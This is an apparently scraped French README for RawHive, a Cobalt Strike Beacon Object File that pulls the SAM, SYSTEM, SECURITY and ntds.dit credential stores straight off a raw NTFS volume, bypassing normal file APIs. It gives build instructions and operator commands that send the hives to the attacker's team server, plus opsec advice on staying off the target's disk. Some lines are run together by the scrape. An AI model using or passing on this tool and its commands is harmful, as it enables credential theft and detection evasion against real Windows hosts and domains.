
Cobalt Strike BOF qui extrait les ruches de registre Windows sélectionnées directement depuis un volume NTFS brut en analysant les métadonnées NTFS et en lisant les données des fichiers directement depuis le disque.
RawHive est un BOF Cobalt Strike permettant d'extraire des ruches de registre Windows sélectionnées directement depuis un volume NTFS brut. Il contourne les API de fichiers habituelles, parcourt les métadonnées NTFS pour trouver les enregistrements de fichiers cibles, et lit les octets directement depuis le disque.
Cibles :
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (contrôleurs de domaine uniquement)Toute lettre de lecteur NTFS locale fonctionne ; la valeur par défaut est C:.
\\.\C:) et lit le secteur d'amorçage pour localiser $MFT.Windows, System32, config et les fichiers cibles, avec un scan MFT borné en secours.x86_64-w64-mingw32-gcc et make pour la compilation.make
Compile dist/rawhive.x64.o. rawhive.cna charge l'objet depuis dist/, donc recompilez après avoir modifié rawhive.c.
Le mode téléchargement est celui par défaut : les ruches sont lues directement depuis le volume brut et envoyées au team server via l'API BeaconDownload. Rien ne touche le disque de la cible.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
Le mode écriture disque enregistre des fichiers .tmp dans un répertoire sur la cible. Notez que cela touche le disque et peut ne pas être opsec safe ; préférez le mode téléchargement sauf si vous avez spécifiquement besoin que les fichiers soient déposés localement.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
Le volume peut être écrit sous la forme C, c ou C:. Le répertoire de sortie doit déjà exister.
Les fichiers sont nommés <host>_<timestamp>_<hive>.tmp :
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
En mode téléchargement, ils apparaissent dans la zone de téléchargement de Cobalt Strike ; en mode écriture disque, ils atterrissent dans le répertoire de sortie spécifié.
